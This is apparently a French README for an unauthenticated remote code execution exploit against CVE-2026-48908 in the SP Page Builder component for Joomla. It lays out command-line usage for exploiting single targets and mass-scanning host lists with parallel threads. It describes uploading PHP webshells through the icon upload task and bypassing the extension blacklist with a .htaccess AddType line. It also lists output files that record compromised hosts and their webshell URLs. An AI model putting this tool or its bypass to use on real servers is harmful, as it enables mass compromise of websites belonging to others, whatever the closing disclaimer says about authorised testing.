
PoC RCE non authentifié pour CVE-2026-48908 SP Page Builder (Joomla) exploit de téléchargement de fichier arbitraire et d'exécution de code à distance avec prise en charge de l'analyse de masse.
SP Page Builder (com_sppagebuilder) pour Joomla ≤ 6.6.1 permet à des attaquants non authentifiés de téléverser des fichiers arbitraires et d'obtenir une exécution de code à distance.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (Contrôle d'accès incorrect) |
| Composant | SP Page Builder (com_sppagebuilder) |
| Versions concernées | 1.0.0 – 6.6.1 |
| Corrigé dans | 6.6.2 |
| Privilèges requis | Aucun (pré-authentification) |
| Interaction utilisateur | Aucune |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # sonde uniquement, sans commande
python3 exploit_poc.py https://target.example --token abc123 # jeton personnalisé
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 threads parallèles
python3 exploit_poc.py --hosts ips.txt --no-verbose # mode silencieux
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
Remarque : Lorsque vous utilisez
--shell-file, le script ne fait que téléverser le webshell et rapporte l'URL. Il n'exécute pas la commande-cni aucun test d'exécution. Le shell téléversé doit gérer les entrées de commande de manière indépendante.



Après un scan, trois fichiers de résultats sont sauvegardés :
L'exploit abuse de la tâche asset.uploadCustomIcon de com_sppagebuilder :
/media/com_sppagebuilder/assets/iconfont/<nom>/fonts/.Le script essaie plusieurs extensions PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) jusqu'à en trouver une qui s'exécute.
Lorsque les extensions PHP directes sont bloquées par le filtre SPPB, le script dépose un fichier .htaccess à côté de la charge utile :
AddType application/x-httpd-php .PHP
Cela force le serveur web à traiter .PHP (majuscule) comme du PHP — contournant la liste noire sensible à la casse de SPPB. Nécessite AllowOverride activé et PHP autorisé dans /media.
Remarque : Le contournement par
.htaccess+.PHPmajuscule peut ne pas fonctionner sur toutes les configurations. En cas d'échec, essayez d'utiliser les extensions.pngou.jpegà la place. Sur les serveurs avecAllowOverridedésactivé ou PHP bloqué dans/media, même les shells téléversés ne s'exécuteront pas (signalé comme « écriture seule »).
Ce PoC est basé sur https://github.com/papageo75/CVE-2026-48908-PoC/ avec les ajouts suivants :
Certaines réponses serveur peuvent contenir des préfixes non JSON (par ex. des expressions cron ou autres déchets) avant la charge utile JSON réelle. Le PoC d'origine plantait sur r.json() lors de l'analyse de ces réponses. Cette version recherche le premier caractère { et tente de décoder la sous-chaîne JSON :
Avant :
try:
data = r.json()
except ValueError:
return None
Après :
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
Exemple — réponse JSON valide :
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Exemple — réponse non JSON (déchets préfixés avant le JSON) :
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Ajout de la capacité de scan multithread :
--hosts <fichier> — charger les cibles depuis un fichier (une par ligne)-j, --threads <n> — définir le nombre de threads parallèles (par défaut : 10)--no-verbose — supprimer la sortie verbeuse par hôte.txt catégorisésAjout de l'option --shell-file <chemin> pour téléverser un webshell PHP personnalisé au lieu du shell intégré protégé par jeton. Avec cette option :
-crun()) n'est effectuécustom_shell_hosts.txtUTILISATION AUTORISÉE UNIQUEMENT. Pour les tests de pénétration autorisés, les CTF et les cibles de laboratoire uniquement. Vous êtes seul responsable de l'utilisation de cet outil.
| Option | Description |
|---|
url | URL cible (positionnelle ou --url) |
--hosts <fichier> | Fichier contenant un hôte par ligne |
-c, --cmd <commande> | Commande à exécuter (par défaut : id) |
--check | Sonde uniquement, n'exécute pas de commande |
--token <jeton> | Secret protégeant le shell téléversé (par défaut : aléatoire) |
--shell-file <chemin> | Téléverse un webshell PHP personnalisé au lieu du shell intégré |
-j, --threads <n> | Threads parallèles pour le scan de masse (par défaut : 10) |
--no-verbose | Supprime la sortie verbeuse par hôte |
| Fichier | Contenu |
|---|
vulnerable_hosts.txt | Hôtes avec RCE confirmée + URL des webshells |
not_vulnerable_hosts.txt | Hôtes corrigés ou absents |
partial_vulnerable_hosts.txt | Hôtes avec écriture de fichier mais sans exécution PHP |
custom_shell_hosts.txt | Hôtes avec shell personnalisé téléversé, regroupés par URL de base (généré uniquement avec --shell-file) |
scan_results.json | Résultats JSON complets pour tous les hôtes |